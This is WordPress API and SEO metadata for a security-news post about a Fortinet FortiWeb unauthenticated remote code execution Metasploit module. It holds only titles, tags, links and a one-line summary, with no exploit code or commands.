redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-11-26T12:50:45+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27754#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=27754\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27754#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Fortinet FortiWeb Unauthenticated Remote Code Execution_PACKETSTORM:212098\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Fortinet FortiWeb Unauthenticated Remote Code Execution_PACKETSTORM:212098 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=27754","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Fortinet FortiWeb Unauthenticated Remote Code Execution_PACKETSTORM:212098 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-11-26T18:16:04&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits an authentication bypass via a path traversal vulnerability in the Fortinet FortiWeb management interface to create a new local administrator user...","og_url":"https:\/\/zero.redgem.net\/?p=27754","og_site_name":"zero redgem","article_published_time":"2025-11-26T12:50:45+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"14 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=27754#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=27754"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Fortinet FortiWeb Unauthenticated Remote Code Execution_PACKETSTORM:212098","datePublished":"2025-11-26T12:50:45+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=27754"},"wordCount":2675,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=27754#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=27754","url":"https:\/\/zero.redgem.net\/?p=27754","name":"\ud83d\udcc4 Fortinet FortiWeb Unauthenticated Remote Code Execution_PACKETSTORM:212098 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-11-26T12:50:45+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=27754#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=27754"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=27754#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Fortinet FortiWeb Unauthenticated Remote Code Execution_PACKETSTORM:212098"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/27754","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=27754"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/27754\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=27754"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=27754"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=27754"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}